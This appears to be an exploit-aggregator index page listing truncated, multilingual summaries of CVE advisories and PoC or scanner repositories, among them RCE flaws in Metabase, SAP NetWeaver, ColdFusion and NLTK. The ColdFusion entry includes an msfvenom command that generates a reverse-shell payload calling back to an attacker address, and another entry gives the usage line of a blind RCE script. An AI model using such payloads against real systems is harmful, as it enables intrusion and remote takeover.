EUVD-2026-65270

Medical Practice Management System developed by Le-yan has a Remote Code Execution vulnerability. Unauthenticated remote attackers can execute arbitrary OS commamnds via a crafted HTML page...

CVE-2026-78685

CVE-2026-78685 affects the Le-yan Medical Practice Management System , a web-based application for managing medical practices. The vulnerability is a Remote Code Execution (RCE) flaw that allows unauthenticated remote attackers to execute arbitrary OS commands by serving a crafted HTML page that ...

CVE-2025-3515

CVE-2025-3515 CVE‑2025‑3515 — Caricamento multiplo di file tramite drag and drop per Contact Form 7 Descrizione: Caricamento arbitrario di file tramite drag‑and‑drop‑multiple‑file‑upload‑contact‑form‑7 ≤1.3.8.9 consente il caricamento di file .phar, portando all'esecuzione remota di codice in...

CVE-2025-31324

CVE-2025-31324 Proof-of-Concept 0day per SAP NetWeaver creato da ShinyHunters CVE-2025-31324 è una vulnerabilità critica di "Caricamento di file senza restrizioni" che colpisce il server applicativo SAP NetWeaver AS Java. In particolare, risiede nel componente Visual Composer VCFRAMEWORK. La fall...

Exploit-CVE-2023-38646-Metabase

Exploit CVE-2023-38646 Metabase prima di 0.46.6.1 open source e prima di 1.46.6.1 Enterprise Exploit per la vulnerabilità di Esecuzione di Codice Remoto RCE identificata in Metabase versioni precedenti alla 0.46.6.1 open source e 1.46.6.1 Enterprise. La vulnerabilità consente agli attaccanti di...

salt-rce-scanner-CVE-2020-11651-CVE-2020-11652

Was ist das? Scan-Tool zum Testen auf SaltStack-Schwachstellen CVE-2020-11651 & CVE-2020-11652. Die Schwachstellen ermöglichen es einem Angreifer, der sich mit dem Port des "Request-Servers" verbinden kann, alle Authentifizierungs- und Autorisierungskontrollen zu umgehen und beliebige...

CVE-2023-26360-RCE

CVE-2023-26360 - Esecuzione di codice remoto su ColdFusion 2021 A volte, gli script non funzionano al primo tentativo. Prova alcune volte per farli funzionare Come eseguire Creare un payload con msfvenom root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java Avvia...

EvilRip

Cve-2020-5029-finder Es ist ein kleines Skript, um die Subdomains/IPs zu finden, die anfällig für CVE-2020-5902 sind, geschrieben in Bash. Betroffene Version In BIG-IP-Versionen 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1 und 11.6.1-11.6.5.1 weist die Traffic Management Use...

CVE-2018-8097-PoC

CVE-2018-8097 POC per CVE-2018-8097. Questo script sfrutta CVE-2018-8097 e può recuperare file e contenuti utilizzando un metodo RCE blind basato sul tempo. Utilizzo root@kitploit: python cve-2018-8097.py -h -u URL -c COMMAND -t TIME -id OBJECTID -d FILEPATH options: -h, --help show this help...

CVE-2024-27198-POC

CVE-2024-27198 – JetBrains TeamCity प्रमाणीकरण बाईपास और RCE PoC लेखक: EynaExp क्षेत्र: शोध / रक्षात्मक सत्यापन / केवल अधिकृत परीक्षण अवलोकन इस रिपॉजिटरी में JetBrains TeamCity इंस्टेंस को लक्षित करने वाला एक प्रूफ-ऑफ-कॉन्सेप्ट मास स्कैनर शामिल है, जो CVE-2024-27198 से प्रभावित हैं — यह एक...

CVE-2025-55182-Scanner

CVE-2025-55182 RCE Scanner Scanner di rilevamento e verifica in modalità batch per la vulnerabilità di esecuzione remota di codice CVE-2025-55182 React2Shell. ⚠️ Vulnerabilità critica con CVSS 10.0 | Colpisce React Server Components e le versioni Next.js 15.x/16.x | Solo per test di sicurezza...

Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Code-Execution

CVE-2021-46076 Título do Exploit: Vehicle Service Management System - 'Multiple' upload de arquivos leva à Execução de Código Autor do Exploit: SANU P.L CVE: CVE-2021-46076 CVSS: 8.8 ALTO Referências:...

apache_audit_cve-2026-23918

cve-2026-23918 Strumenti di audit difensivo per CVE-2026-23918 Apache HTTPD HTTP/2 double-free RCE e quattro CVE correlate divulgate nell'avviso di sicurezza del 4 maggio 2026 della Apache Software Foundation...

CVE-2022-44276-PoC

CVE-2022-44276-PoC PoC für Responsive Filemanager 9.12.0: Umgehung der Upload-Beschränkungen führt zu RCE Wo steckt die Schwachstelle? Beim Hochladen einer neuen Datei durchlaufen wir die Funktion fixfilename:...

CVE-2024-36401_Geoserver_RCE_POC

⚠️ Avvertenza: Questo strumento è destinato esclusivamente alla ricerca sulla sicurezza e a test autorizzati legalmente. Non utilizzarlo per scopi illeciti. L'utente si assume ogni responsabilità legale. README Versione: English | Italiano Descrizione della vulnerabilità Questo script è uno...

CVE-2026-78683 NLTK before 3.10.0 Remote Code Execution via Unsafe Pickle Deserialization

NLTK before 3.10.0 affected versions =3.9.4 contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse method nltk/parse/transitionparser.py. The method calls pickleload with the default restricted=False, routing deserialization through WarningUnpickler, which does not...

CVE-2026-78683

NLTK before 3.10.0 affected versions =3.9.4 contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse method nltk/parse/transitionparser.py. The method calls pickleload with the default restricted=False, routing deserialization through WarningUnpickler, which does not...

EUVD-2026-65229

NLTK before 3.10.0 affected versions =3.9.4 contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse method nltk/parse/transitionparser.py. The method calls pickleload with the default restricted=False, routing deserialization through WarningUnpickler, which does not...

CVE-2026-78683

NLTK versions ≤3.9.4 contain an unsafe pickle deserialization vulnerability in the TransitionParser.parse() method (nltk/parse/transitionparser.py). The method calls pickle_load() with restricted=False, routing through WarningUnpickler , which does not override find_class() and thus permits arbit...

CVE-2026-78680

NLTK versions before 3.10.3 are vulnerable to arbitrary code execution via the Graphviz dot binary . The root cause is that dependencygraph.dot2img and AlignedSent._repr_svg_ invoke dot using a bare name rather than a validated absolute path. On Windows , an attacker can place a malicious dot bin...